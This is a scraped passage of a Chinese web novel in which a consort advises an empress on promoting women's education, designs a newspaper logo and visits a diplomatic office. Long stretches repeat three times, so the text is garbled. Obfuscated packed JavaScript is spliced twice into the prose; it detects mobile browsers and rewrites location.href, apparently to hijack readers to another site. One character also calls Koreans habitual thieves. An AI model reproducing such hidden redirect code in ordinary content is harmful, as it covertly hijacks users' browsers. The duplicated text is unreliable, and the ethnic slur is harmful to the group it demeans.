,早已习惯了男子主导一切。你突然要让女人当官,这不是明摆着在动摇他们的地位嘛?他们自然会拼死反对。你若真想让女子出头,就需要一点一点培养,慢慢改变他们的固有想法。” 他的声音沉稳而坚定,每一个字都似带着安抚人心的力量,传入慕容嫣耳中。 慕容嫣咬着下唇,努力不让泪水落下,可那争气的眼泪还是啪叽一声落在地上,溅起一小朵晶莹的水花。 她猛地抬起手,用衣袖狠狠擦去眼角的泪花,而后挣开林臻的怀抱,快步走到路旁的亭子里。 麝月早已等候在此,见慕容嫣进来,急忙上前,手脚麻利地用松软的垫子垫在椅子上,又将暖手炉轻轻放在慕容嫣手边,紧接着转身端来火盆,摆在亭子中央。 一时间,亭内暖意融融,驱散了些许慕容嫣心头的寒意。 林臻跟在后面,缓缓走进亭子,站在慕容嫣身边,再次牵起她的手。 那手依旧冰凉,他轻轻揉搓着,试图将温暖传递过去。 “嫣儿,我知道你一心想为女子谋福祉,这是好事,也是大义之举。可这朝堂之上,波谲云诡,牵一发而动全身。你今日提出让女子为官,着实操之过急了。”他微微顿了顿,目光望向亭外的雪景,似在思索着什么。 “咱们不妨从基础做起,先在民间大力推广女子识字读书,兴办女学,让更多女子有了才学,才能有底气入朝为官。同时,在朝堂之上,咱们可以先挑选几位有能力、有见识的女子成为女舍人,充当太监的身份来听政,就像嬛嬛似的,这样群臣也不会说什么。” “别跟朕提那个贱胚子!” 慕容嫣翻个白眼,显然是对嬛嬛恨意未消。 林臻继续说道:“先安排个舍人,等有什么朝堂大事的时候让她们出谋划策,如果可行,就算有功,我们可以趁机把她安排在一个非关键却又能见成效的职位上,让群臣看到女子的能力,慢慢改变他们的看法。如此双管齐下,假以时日,女子为官便不再是天方夜谭了。” 慕容嫣听着林臻的话,心中的怒火渐渐平息,取而代之的是思索与动容。 她轻轻抽回手,拿起暖手炉,抱在怀中,感受着那丝丝暖意渗透肌肤。 “你说得倒也有些道理,只是这兴办女学,谈何容易?资金、师资、场地,样样都是难题。朝堂上那帮老顽固,又怎会轻易同意拨款?” “哈哈哈哈,嫣儿真是被气糊涂了,你忘了?为夫手下就有个书院,而且还住着一个天下第一才女。” 慕容嫣眼睛一亮:“你说的是大乾书院,是楚惜灵!” “对啊,她日后肯定也要为官的,所以你的提议我早就有了想法,并且已经开始实施了。” “怎么实施的,快和朕说说!” 林臻坏笑着把脸凑过去:“你亲我一下,我就告诉你。” “贱死你了。”慕容嫣再次翻个白眼,见麝月和无舌他们都很默契地转过身,装作什么都没看见的样子,飞快地在林臻脸上亲了一下。 “行了吧?快说,朕等不及了呢。” 那楚楚动人的模样,让林臻的心都揪了起来。 林臻轻轻拍着她的后背,像在安抚一只受伤的小鹿:“我明白你的心思,可你也要想想当下的局势。你瞧,现在朝堂上都是男人,他们把持朝政多年,早已习惯了男子主导一切。你突然要让女人当官,这不是明摆着在动摇他们的地位嘛?他们自然会拼死反对。你若真想让女子出头,就需要一点一点培养,慢慢改变他们的固有想法。” 他的声音沉稳而坚定,每一个字都似带着安抚人心的力量,传入慕容嫣耳中。 慕容嫣咬着下唇,努力不让泪水落下,可那争气的眼泪还是啪叽一声落在地上,溅起一小朵晶莹的水花。 她猛地抬起手,用衣袖狠狠擦去眼角的泪花,而后挣开林臻的怀抱,快步走到路旁的亭子里。 麝月早已等候在此,见慕容嫣进来,急忙上前,手脚麻利地用松软的垫子垫在椅子上,又将暖手炉轻轻放在慕容嫣手边,紧接着转身端来火盆,摆在亭子中央。 一时间,亭内暖意融融,驱散了些许慕容嫣心头的寒意。 林臻跟在后面,缓缓走进亭子,站在慕容嫣身边,再次牵起她的手。 那手依旧冰凉,他轻轻揉搓着,试图将温暖传递过去。 “嫣儿,我知道你一心想为女子谋福祉,这是好事,也是大义之举。可这朝堂之上,波谲云诡,牵一发而动全身。你今日提出让女子为官,着实操之过急了。”他微微顿了顿,目光望向亭外的雪景,似在思索着什么。 “咱们不妨从基础做起,先在民间大力推广女子识字读书,兴办女学,让更多女子有了才学,才能有底气入朝为官。同时,在朝堂之上,咱们可以先挑选几位有能力、有见识的女子成为女舍人,充当太监的身份来听政,就像嬛嬛似的,这样群臣也不会说什么。” “别跟朕提那个贱胚子!” 慕容嫣翻个白眼,显然是对嬛嬛恨意未消。 林臻继续说道:“先安排个舍人,等有什么朝堂大事的时候让她们出谋划策,如果可行,就算有功,我们可以趁机把她安排在一个非关键却又能见成效的职位上,让群臣看到女子的能力,慢慢改变他们的看法。如此双管齐下,假以时日,女子为官便不再是天方夜谭了。” 慕容嫣听着林臻的话,心中的怒火渐渐平息,取而代之的是思索与动容。 她轻轻抽回手,拿起暖手炉,抱在怀中,感受着那丝丝暖意渗透肌肤。 “你说得倒也有些道理,只是这兴办女学,谈何容易?资金、师资、场地,样样都是难题。朝堂上那帮老顽固,又怎会轻易同意拨款?” “哈哈哈哈,嫣儿真是被气糊涂了,你忘了?为夫手下就有个书院,而且还住着一个天下第一才女。” 慕容嫣眼睛一亮:“你说的是大乾书院,是楚惜灵!” “对啊,她日后肯定也要为官的,所以你的提议我早就有了想法,并且已经开始实施了。” “怎么实施的,快和朕说说!” 林臻坏笑着把脸凑过去:“你亲我一下,我就告诉你。” “贱死你了。”慕容嫣再次翻个白眼,见麝月和无舌他们都很默契地转过身,装作什么都没看见的样子,飞快地在林臻脸上亲了一下。 “行了吧?快说,朕等不及了呢。” 那楚楚动人的模样,让林臻的心都揪了起来。 林臻轻轻拍着她的后背,像在安抚一只受伤的小鹿:“我明白你的心思,可你也要想想当下的局势。你瞧,现在朝堂上都是男人,他们把持朝政多年,早已习惯了男子主导一切。你突然要让女人当官,这不是明摆着在动摇他们的地位嘛?他们自然会拼死反对。你若真想让女子出头,就需要一点一点培养,慢慢改变他们的固有想法。” 他的声音沉稳而坚定,每一个字都似带着安抚人心的力量,传入慕容嫣耳中。 慕容嫣咬着下唇,努力不让泪水落下,可那争气的眼泪还是啪叽一声落在地上,溅起一小朵晶莹的水花。 她猛地抬起手,用衣袖狠狠擦去眼角的泪花,而后挣开林臻的怀抱,快步走到路旁的亭子里。 麝月早已等候在此,见慕容嫣进来,急忙上前,手脚麻利地用松软的垫子垫在椅子上,又将暖手炉轻轻放在慕容嫣手边,紧接着转身端来火盆,摆在亭子中央。 一时间,亭内暖意融融,驱散了些许慕容嫣心头的寒意。 林臻跟在后面,缓缓走进亭子,站在慕容嫣身边,再次牵起她的手。 那手依旧冰凉,他轻轻揉搓着,试图将温暖传递过去。 “嫣儿,我知道你一心想为女子谋福祉,这是好事,也是大义之举。可这朝堂之上,波谲云诡,牵一发而动全身。你今日提出让女子为官,着实操之过急了。”他微微顿了顿,目光望向亭外的雪景,似在思索着什么。 “咱们不妨从基础做起,先在民间大力推广女子识字读书,兴办女学,让更多女子有了才学,才能有底气入朝为官。同时,在朝堂之上,咱们可以先挑选几位有能力、有见识的女子成为女舍人,充当太监的身份来听政,就像嬛嬛似的,这样群臣也不会说什么。” “别跟朕提那个贱胚子!” 慕容嫣翻个白眼,显然是对嬛嬛恨意未消。 林臻继续说道:“先安排个舍人,等有什么朝堂大事的时候让她们出谋划策,如果可行,就算有功,我们可以趁机把她安排在一个非关键却又能见成效的职位上,让群臣看到女子的能力,慢慢改变他们的看法。如此双管齐下,假以时日,女子为官便不再是天方夜谭了。” 慕容嫣听着林臻的话,心中的怒火渐渐平息,取而代之的是思索与动容。 她轻轻抽回手,拿起暖手炉,抱在怀中,感受着那丝丝暖意渗透肌肤。 “你说得倒也有些道理,只是这兴办女学,谈何容易?资金、师资、场地,样样都是难题。朝堂上那帮老顽固,又怎会轻易同意拨款?” “哈哈哈哈,嫣儿真是被气糊涂了,你忘了?为夫手下就有个书院,而且还住着一个天下第一才女。” 慕容嫣眼睛一亮:“你说的是大乾书院,是楚惜灵!” “对啊,她日后肯定也要为官的,所以你的提议我早就有了想法,并且已经开始实施了。” “怎么实施的,快和朕说说!” 林臻坏笑着把脸凑过去:“你亲我一下,我就告诉你。” “贱死你了。”慕容嫣再次翻个白眼,见麝月和无舌他们都很默契地转过身,装作什么都没看见的样子,飞快地在林臻脸上亲了一下。 “行了吧?快说,朕等不及了呢。” 第385章 夫君,你就别卖关子啦! 暖亭之中,炭火熊熊燃烧,驱散了冬日的严寒,亭外的积雪在暖阳映照下闪烁着细碎光芒,宛如一地银霜。 林臻气定神闲地坐在石凳之上。 慕容无舌弓着身子,双手恭敬地捧着茶盏,碎步上前,将茶盏轻轻置于林臻面前的石桌上。 林臻微微抬手,指尖轻触茶盖,缓缓拨开浮于水面的茶叶,动作优雅而从容,茶香袅袅升腾而起,瞬间弥漫在整个暖亭之中。 “夫君,你就别卖关子啦!”慕容嫣看林臻还一副老神在在的样子就心里着急。 她实在太想提高女性地位了。 林臻开口,声音不疾不徐,却透着十足的笃定:“首先自然是利用报纸来引发舆论。如今这报纸在京城乃至周边城镇已颇具影响力,发行量大,传阅范围广。咱们可在报纸上刊载各类文章,旁征博引,深入浅出地告诉百姓,女子也可以读书识字。不必一开始就大张旗鼓地宣扬女子为官,那般容易引起反弹,只需要让百姓有个先入为主的概念,觉得这个政策好像没什么用,但细细想来,又好像有点用,尤其是对商贾之家而言。” 他微微顿了顿,端起茶盏,轻抿一口,目光透过袅袅热气,望向慕容嫣,似在观察她的反应。 慕容嫣轻轻点头,眼神中透着思索,显然已被林臻的话语吸引,专注地等待他进一步解释。 林臻放下茶盏,手指轻轻敲击桌面,继续说道:“商贾的嗅觉向来比普通人要敏锐得多,他们每日在商场上摸爬滚打,最擅捕捉商机。一旦知晓女子读书识字后,说不定能为家族生意开拓新径,还能在社交场合中展现家族底蕴,他们定会意识到,这是个把自家孩子培养成才的绝佳机会。到那时,在他们眼中,生闺女不再是赔钱货,而是也可以精心培养、寄予厚望的中流砥柱。要知道,士农工商,登记森严。商贾这辈子最希望的事情,就是家里可以有个能当官的人。所以他们绝不会放过这个机会。” 说到这,林臻好像已经看到商贾们争送女儿入学的热闹场景了,估计到时候楚惜灵也会很高兴吧。 再加上男弟子入学,用不了几年,大乾书院就是全世界最牛逼的书院,小小煊赫门,根本不在话下。 慕容嫣微微皱眉,眼中闪过一丝忧虑:“可是百姓对上学一事本就漠不关心,尤其是女孩子,他们根深蒂固地认为女孩子读书识字毫无用处,只需要学会操持家务、相夫教子便足矣。想要改变这一观念,谈何容易?” 林臻轻轻一笑,似早料到她会有此一问,不慌不忙地解释道:“ 这就需要咱们巧妙地去引导了。百姓读书,所求为何?无非是为了丰富自身、开阔眼界,或是期望有朝一日能走上仕途,改变家族命运。对于女子而言,咱们可以着重宣扬读书识字能够更好地相夫教子。你想,一个知书达理、聪慧过人的女子,在教导子女、辅佐丈夫时,必定能更加得心应手,让家族蒸蒸日上。如此一来,既能贴合百姓心中对家庭美满、家族兴旺的期许,又能悄然改变他们对‘女子无才便是德’的固有观念。” 慕容嫣眼中渐渐有了亮光,仿若拨云见日,看到了一丝希望的:“夫君所言甚是,只是朕不懂报纸,也不懂舆论,这具体该如何在报纸上引导呢?总不能一味地空泛说教吧?得让百姓喜闻乐见,乐于接受才行。” 林臻微微点头,手指在桌面上无意识地划着圈,思索片刻后说道:“咱们可以在报纸上开设专栏,邀请一些有名望的学者、大儒撰写文章,讲述古今中外女子才学出众、助益家国的故事。如果没有那就杜撰,我就知道一个很好的例子,你听说过花木兰吗?” “没有诶,她是做什么的?” “如果没有就用颜颜来做例子。现在颜颜是武将,但官职很低, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231085|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们可以先把她提拔上来。这样一位拥有赫赫战功的武将,群臣总不至于拒绝吧?再说,有王爷的推波助澜,他们就是想拒绝也没办法。然后我们再杜撰一些出来,比方说前朝某位女子凭借学识,在家族危难之际,出谋划策,化解危机;或是异国他乡,女子读书从政,让国家繁荣昌盛。用这些真实生动的事例,让百姓直观地感受到女子才学的力量。” 林臻继续说道:“同时,我们还可以刊载一些通俗易懂的科普文章,介绍读书识字对女子日常生活的诸多益处,如能看懂账本,辅助丈夫经商;能书写信件,与远方亲友畅叙情谊;能研读医书,照顾家人健康。让百姓切实认识到,女子读书识字并非遥不可及的奢望,而是实实在在能为生活添彩的技能。” 慕容嫣听得频频点头,眼中满是赞赏与认同:“如此甚好,只是夫君可有想过?那些学者、大儒,他们肯为女子发声吗?毕竟这传统观念束缚已久,他们怕是也有所顾虑。再者,现在全天下都是男尊女卑,突然要提高女性地位,就算别国听闻,也会横加阻拦的。” 林臻微微皱眉,略作沉吟后道:“这确实是个难题,但并非无解。咱们可以从那些思想较为开明、素有革新之志的学者入手,许以重金酬谢,或是给予高官厚禄。总之,在我们肯付出的情况,一定会有人愿意撰写的。对于那些顽固不化的,咱们也不必强求,只需多找几位不同流派、不同背景的学者,让舆论呈现多元化,引发百姓的讨论与思考。一旦讨论的热度起来,民意自然会推动更多人转变观念。” 慕容嫣轻轻拍了拍胸口,似是松了一口气:“这倒是个好办法,不过资金方面总不能全由我们来出吧?” 林臻笑着看她。 这妮子分明就是个财迷。 又想提高女性地位,又舍不得出钱。 但是没办法,谁让她是自己最重要的女人呢。 第386章 设计个LOGO 林臻轻轻握住她的手,给予她一个安心的眼神:“你且放心,这些我都已思量过。资金方面,除了先前所说从我的私库里拿出部分,我们还可以再号召富商捐款。那些商贾都想让自己家的孩子进学,所以出手不会抠搜的。另外咱们还可以找一些热心的商号、行会进行商讨。他们平日里受朝廷恩泽,此刻让他们出份力,想必不会推辞。 师资目前不用担心,有楚惜灵在,另外再从翰林院挑几个愿意来的,也可挑选一些科举落第却才学不俗的文人,加以培训,让他们专授女子课业。” 就林臻把一切都计划好了,慕容嫣心中原本沉甸甸的石头,渐渐落了地。 谁知,她这小脑袋瓜里满满都是问题,又担忧地追问道:“即便咱们将这些外在条件都筹备妥当,可民间女子长期受传统礼教束缚,内心怯弱,不敢迈出这求学的第一步,又当如何是好?夫君,这可是朕的梦想,你一定要帮朕实现!” 林臻轻轻拍了拍她的手,温言安慰道:“这个更简单,和之前一样。报纸在宣扬女子读书益处的同时,也可刊登一些鼓励女子勇敢追求知识、突破自我的文章,用温暖有力的文字,给予她们勇气。就像讲述一些出身平凡的女子,如何克服内心恐惧,走进学堂,最终改变自己命运的故事,让她们感同身受,受到鼓舞。” 另一方面,咱们可以在各地组织一些小型的女子读书分享会,邀请一些已经识字读书的女子参加,分享她们在学习过程中的收获与快乐,以及知识为她们生活带来的改变。让那些还在犹豫的女子亲眼看到读书的魅力,从而激发她们内心的渴望。” 慕容嫣眼睛一亮,接着说道:“这个主意不错,而且咱们还可以在分享会上准备一些精美的书籍、文具作为奖品,奖励给那些表现积极、有求学意愿的女子,吸引更多人参与。” 林臻微笑着点头赞许:“不错,这想法甚妙。如此一来,既能鼓励女子勇敢迈出第一步,又能在民间营造出一种积极向学的氛围。再者,咱们选派合适的人手,去各地推广女学,而且必须挑选那些态度亲和、善解人意,且深知女学意义的人。让他们深入街巷、乡村,与百姓耐心沟通,了解她们的顾虑,一一化解。久而久之,女子自然喜欢学习,而女子的地位也就提高了。” 说到这,林臻宠溺地掐了掐慕容嫣那精致的小鼻子:“下次可不许这么莽撞了啊,凡事要三思而后行,谋定而后动,不可以像今天似的胡来,你知不知道,你惹下的麻烦等下还得我去给你擦屁股!” “你才擦屁股呢! ”慕容嫣脸蛋一红,心里确实无比甜蜜。 有这样一个男人为自己在前面顶着,她什么都不怕。 寒风凛冽,京城被一层厚厚的寒意笼罩,街道上行人裹紧衣衫,匆匆而行,呼出的热气瞬间化作白色雾气,消散在冰冷的空气中。 林臻身着一袭厚实的黑色锦袍,外披雪白狐裘,头戴貂皮暖帽,踏出暖亭的那一刻,凛冽的北风如刀割般扑面而来,让他不禁打了个寒颤。 他紧了紧身上的衣物,抬头望向灰暗的天空,快步向宫外走去。 他特意没有做马车,而是沿着主街前行,脚下的青石板路覆着一层薄冰,走起来有些打滑,他不得不放慢脚步,小心翼翼地避开那些因积雪融化又冻结而成的冰棱。 忽然,一阵喧闹声传入耳中,打破了周遭的冷寂。 “号外!号外!大乾日报最新消息,吏部郎中贪污受贿,已经被英明神武的陛下查抄!所抄赃款用来为百姓修缮房屋!号外,号外!” 一个小男孩的声音尤为响亮,他站在街角,挥舞着手中的报纸,小脸被冻得通红,却仍不减热情,报纸在寒风中哗啦啦作响。 周围的百姓们闻声聚拢过去,你一言我一语地议论着。 “又有贪官落马了啊!哈哈哈哈,咱老百姓的日子越来越好了啊!” “可不是咋的!这些个该死的贪官,就该让陛下好好查查!” “别看陛下是女子,但手腕强硬,对百姓好得没话说!唉,我们终于能过上好日子了啊!” “陛下万岁!!” 林臻嘴角微微上扬,看到百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231086|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓对报纸如此关注,对自己着力发展报业的决心愈发坚定。 他侧身穿过人群,继续朝着报社走去。 报社所在的小巷,此时显得愈发冷清。 地上积着薄薄的一层雪,被往来行人踩踏后,变得泥泞不堪。 林臻小心翼翼地避开污水,快步走进报社的院子。 院子里的树木早已褪去了枝叶,光秃的枝干在寒风中瑟瑟发抖,偶尔有几片干枯的树叶,在风中打着旋飘落。 一直负责报纸刊印的工部郎中赵启文早已候在了院子里。 他穿着一身厚重的官服,仍冻得脸颊通红,不停地跺脚搓手。 见林臻到来,赶忙迎上前,在雪地上屈膝行礼:“下官赵启文拜见世子。” 林臻伸手将赵启文扶起,目光关切地说道:“快起来,这般寒冷,不必多礼。咱们赶紧进屋说话。” 这个赵启文算是林臻一手提拔上来的,所以对林臻非常忠诚。 两人匆匆走进屋内,屋内虽生着炭火,却依旧难以驱散寒意,窗户上结着厚厚的冰花,将外面的世界隔绝开来,只透出朦胧的光亮。 林臻在一张靠炭火较近的椅子上坐下,搓了搓冻得有些麻木的双手,直奔主题:“启文啊,我今天来是为了报纸的事。百姓现在急需新的消息与观念,咱们的报纸发行量现在如何了?” “回世子,报纸现在每天能保证一千份的发行量。” “嗯,足够了,京城本身也不大,识字的百姓也不多,这一千份估计也是那些文人士子在看。我今天准备给我们的报纸设计个LOGO。” 赵启文微微点头,神色认真,却也难掩眼中的困惑:“世子所言极是,只是这楼沟,是什么东西?” 林臻端起桌上的热茶,轻抿一口,暖了暖身子,缓缓解释道:“这LOGO就好比人的招牌。咱们的报纸,日后要有一个独特标志,百姓一看到它,就知道是咱们的报纸,能留下深刻印象。以后不管是在京城,还是在偏远乡村,只要这标志一出现,大家就知道,这是传递消息、传播思想的窗口。” 第387章 别硬夸行不行? 赵启文恍然大悟,眼中闪过一丝兴奋:“原来如此!大人这主意妙啊,只是下官不懂如何设计商标啊,是不是该请个画师来?” 林臻嘴角上扬:“不用,我先简单画一个,然后你让画师按照比例缩小,再让工人雕刻成拓片,印刷在报纸左上角就行。” 林臻伸手拿过桌上的纸笔,铺在面前。 这时,一阵寒风呼啸着从门缝钻进,吹得纸张沙沙作响,炭火也跟着摇曳起来,光影在屋内晃动。 林臻稳了稳心神,蘸满浓墨,在纸上落下第一笔。 随着笔触游走,一只凤凰的轮廓逐渐显现。 在这冰天雪地的冬日,笔下的凤凰却充满了生机与活力。 它的头部高昂,金冠在灰暗的屋内似乎都散发着光芒,双眸明亮锐利,透着王者的威严。 凤凰的脖颈修长优雅,在冰天雪地的氛围映衬下,更显灵动,羽毛以细腻的笔触精心描绘,每一根都根根分明,墨色的浓淡变化,让羽毛仿若有了质感。 双翅展开,宽大有力,翅上的羽毛层层叠叠,凤尾拖曳身后,修长而飘逸,羽毛呈流线型散开,好似灵动的火焰,为这冰冷的屋子添了几分暖意。 林臻搁下毛笔,看着画中的凤凰。 画得虽然好,但是还远远不及名家之作,不过大概是这个意思。 赵启文凑上前,盯着画作,看得目不转睛,半晌才回过神来,激动地说道:“世子这画技简直神了!这羽毛,这脑袋,这身子,简直就是神迹啊!” 林臻翻个白眼:“别硬夸行不行?好不好我自己不知道?” “嘿嘿嘿嘿。”赵启文很狗腿地搓了搓手。 林臻微微颔首,接着说道:“等会儿你就去找京城最顶尖的画师,让他们将这凤凰按比例缩小,务必精准还原每一处细节。之后,再寻最好的雕刻师傅,把它雕刻成印版。以后每期报纸,都要在左上角印上这凤凰商标。” 赵启文连连点头:“大人放心,下官一定办好此事。只是这天寒地冻,找画师、雕刻师傅恐怕不易,不过下官定会想尽办法,克服困难。” “好,等你都安排好以后来我府上,我再给你安排别的事情。” “是!” 鸿胪寺有专门接待外国使臣的驿站,也有供外国使臣办公的别院。 别院可以理解为大使馆,就是外国使臣驻扎在这里,一切费用由他们国家自己负担,专门负责维护在乾国的本国人安全问题。 不过自从打完了仗,煊赫门现身,林 臻就采取了几乎等同于闭关锁国的政策,但也不是完全的封闭,除了固定的几个口岸开放外,沿江地区也有开放的城市。 这点主要是担心本国商品滞销,而外国商品又进不来,所以才特意开放的,不过就算开放,别国商贾是进乾国也是需要层层盘问与审查的。 煊赫门势力太大,防不胜防,由不得林臻掉以轻心。 林臻带着侯春和几名护卫,在没有温度的太阳底下慢走,径直来到鸿胪寺。 鸿胪寺卿孙山海是前朝老臣,也是胖子跟班狗腿子孙武的爷爷,不过这个老头不站队,二十几年在岗位上不得寸进,但也兢兢业业,十分受尊重。 林臻过来的时候和老爷子打了个招呼。 阁楼里,林臻作揖道:“孙大人一向可好?” 孙山海放下手里的卷宗,抬头见是林臻,顿时露出苍老的笑脸:“世子!您怎么来了?” “嗐。”林臻摆摆手,坐在暖榻上,立刻有杂役拿来火炉和暖手炉递给他。 林臻盘着腿,说道:“我看今天天气不错,就出来走走,顺便有事情要找韩国大使。” “金俊煕?呵呵呵,那家伙最近几天早出晚归的,也不知道在忙什么。” 孙山海很客气,邀请林臻品茶,一边倒茶一边说金俊煕的事情。 林臻问道:“哦?莫非孙大人知道他在忙什么?” “这个还真不知道,驻乾大使都是有自由的,平时随意出入,我们不会多加盘问。” “是这样,不过昨天他可是到我府上去了,提出要用我们二锅头换他们的铁矿,我觉得这买卖有点意思。早朝的时候你也看见了,陛下对此很关心,所以我亲自前来准备找金俊煕谈谈。” “世子,恕下官直言。这金俊煕可不是什么善男信女,而且他们韩国人一向善于偷窃,去年更是把我们特产的粽子说是他们的特产,还搬弄是非搞出来个什么历史书,向全世界证明,像有病似的。这二锅头若是流传到他们国家,呵,估计也成他们酿造的了。” 林臻对此其实并不关心。 二锅头的配方和酿造方法只有自己和楚惜灵知道,韩国人想偷,起码也得是百年之后,还得说这一百年里天天有人琢磨才行。 “二锅头是谁家的,我倒不是很在意,我在意的是铁矿。你也知道,虽然东北那边已经发现的铁矿有很多,但现在是冬天,天寒地冻,土地根本挖不开,更别说开山了。而开发区那边又急需大量生铁,所以我才答应了这个交易。” “世子自然有世子的考虑,下官不便多嘴。只是您要见金俊煕估计得等一等了,他现在不在鸿胪寺。” “不急,我不找他,他自然也会去找我的。”林臻望了望暖阁外面,鸿胪寺的工作人员来来往往,处理着各种杂事。 “现在有多少外国的官员在鸿胪寺?” “基本都在,就是秦国的还没来。” “秦国?他们为什么不来?我们有官员驻扎在别国吗?” “没有,我们自己的土地还管不过来呢,没有那些闲官去外国。至于您说的秦国为什么不来,下官也不知道,毕竟他们不来,我们也不会硬去邀请。” 林臻拿起烟袋,用火折子点燃嘬了一口。 一大口浓烟喷了出来,看得孙山海啧啧称奇。 “世子这是什么好东西?” 林臻坏笑着说:“怎么?你来一口?” 林臻都在用的东西那肯定是好东西啊,孙山海没想太多,把烟袋接了过去。 臻就采取了几乎等同于闭关锁国的政策,但也不是完全的封闭,除了固定的几个口岸开放外,沿江地区也有开放的城市。 这点主要是担心本国商品滞销,而外国商品又进不来,所以才特意开放的,不过就算开放,别国商贾是进乾国也是需要层层盘问与审查的。 煊赫门势力太大,防不胜防,由不得林臻掉以轻心。 林臻带着侯春和几名护卫,在没有温度的太阳底下慢走,径直来到鸿胪寺。 鸿胪寺卿孙山海是前朝老臣,也是胖子跟班狗腿子孙武的爷爷,不过这个老头不站队,二十几年在岗位上不得寸进,但也兢兢业业,十分受尊重。 林臻过来的时候和老爷子打了个招呼。 阁楼里,林臻作揖道:“孙大人一向可好?” 孙山海放下手里的卷宗,抬头见是林臻,顿时露出苍老的笑脸:“世子!您怎么来了?” “嗐。”林臻摆摆手,坐在暖榻上,立刻有杂役拿来火炉和暖手炉递给他。 林臻盘着腿,说道:“我看今天天气不错,就出来走走,顺便有事情要找韩国大使。” “金俊煕?呵呵呵,那家伙最近几天早出晚归的,也不知道在忙什么。” 孙山海很客气,邀请林臻品茶,一边倒茶一边说金俊煕的事情。 林臻问道:“哦?莫非孙大人知道他在忙什么?” “这个还真不知道,驻乾大使都是有自由的,平时随意出入,我们不会多加盘问。” “是这样,不过昨天他可是到我府上去了,提出要用我们二锅头换他们的铁矿,我觉得这买卖有点意思。早朝的时候你也看见了,陛下对此很关心,所以我亲自前来准备找金俊煕谈谈。” “世子,恕下官直言。这金俊煕可不是什么善男信女,而且他们韩国人一向善于偷窃,去年更是把我们特产的粽子说是他们的特产,还搬弄是非搞出来个什么历史书,向全世界证明,像有病似的。这二锅头若是流传到他们国家,呵,估计也成他们酿造的了。” 林臻对此其实并不关心。 二锅头的配方和酿造方法只有自己和楚惜灵知道,韩国人想偷,起码也得是百年之后,还得说这一百年里天天有人琢磨才行。 “二锅头是谁家的,我倒不是很在意,我在意的是铁矿。你也知道,虽然东北那边已经发现的铁矿有很多,但现在是冬天,天寒地冻,土地根本挖不开,更别说开山了。而开发区那边又急需大量生铁,所以我才答应了这个交易。” “世子自然有世子的考虑,下官不便多嘴。只是您要见金俊煕估计得等一等了,他现在不在鸿胪寺。” “不急,我不找他,他自然也会去找我的。”林臻望了望暖阁外面,鸿胪寺的工作人员来来往往,处理着各种杂事。 “现在有多少外国的官员在鸿胪寺?” “基本都在,就是秦国的还没来。” “秦国?他们为什么不来?我们有官员驻扎在别国吗?” “没有,我们自己的土地还管不过来呢,没有那些闲官去外国。至于您说的秦国为什么不来,下官也不知道,毕竟他们不来,我们也不会硬去邀请。” 林臻拿起烟袋,用火折子点燃嘬了一口。 一大口浓烟喷了出来,看得孙山海啧啧称奇。 “世子这是什么好东西?” 林臻坏笑着说:“怎么?你来一口?” 林臻都在用的东西那肯定是好东西啊,孙山海没想太多,把烟袋接了过去。 臻就采取了几乎等同于闭关锁国的政策,但也不是完全的封闭,除了固定的几个口岸开放外,沿江地区也有开放的城市。 这点主要是担心本国商品滞销,而外国商品又进不来,所以才特意开放的,不过就算开放,别国商贾是进乾国也是需要层层盘问与审查的。 煊赫门势力太大,防不胜防,由不得林臻掉以轻心。 林臻带着侯春和几名护卫,在没有温度的太阳底下慢走,径直来到鸿胪寺。 鸿胪寺卿孙山海是前朝老臣,也是胖子跟班狗腿子孙武的爷爷,不过这个老头不站队,二十几年在岗位上不得寸进,但也兢兢业业,十分受尊重。 林臻过来的时候和老爷子打了个招呼。 阁楼里,林臻作揖道:“孙大人一向可好?” 孙山海放下手里的卷宗,抬头见是林臻,顿时露出苍老的笑脸:“世子!您怎么来了?” “嗐。”林臻摆摆手,坐在暖榻上,立刻有杂役拿来火炉和暖手炉递给他。 林臻盘着腿,说道:“我看今天天气不错,就出来走走,顺便有事情要找韩国大使。” “金俊煕?呵呵呵,那家伙最近几天早出晚归的,也不知道在忙什么。” 孙山海很客气,邀请林臻品茶,一边倒茶一边说金俊煕的事情。 林臻问道:“哦?莫非孙大人知道他在忙什么?” “这个还真不知道,驻乾大使都是有自由的,平时随意出入,我们不会多加盘问。” “是这样,不过昨天他可是到我府上去了,提出要用我们二锅头换他们的铁矿,我觉得这买卖有点意思。早朝的时候你也看见了,陛下对此很关心,所以我亲自前来准备找金俊煕谈谈。” “世子,恕下官直言。这金俊煕可不是什么善男信女,而且他们韩国人一向善于偷窃,去年更是把我们特产的粽子说是他们的特产,还搬弄是非搞出来个什么历史书,向全世界证明,像有病似的。这二锅头若是流传到他们国家,呵,估计也成他们酿造的了。” 林臻对此其实并不关心。 二锅头的配方和酿造方法只有自己和楚惜灵知道,韩国人想偷,起码也得是百年之后,还得说这一百年里天天有人琢磨才行。 “二锅头是谁家的,我倒不是很在意,我在意的是铁矿。你也知道,虽然东北那边已经发现的铁矿有很多,但现在是冬天,天寒地冻,土地根本挖不开,更别说开山了。而开发区那边又急需大量生铁,所以我才答应了这个交易。” “世子自然有世子的考虑,下官不便多嘴。只是您要见金俊煕估计得等一等了,他现在不在鸿胪寺。” “不急,我不找他,他自然也会去找我的。”林臻望了望暖阁外面,鸿胪寺的工作人员来来往往,处理着各种杂事。 “现在有多少外国的官员在鸿胪寺?” “基本都在,就是秦国的还没来。” 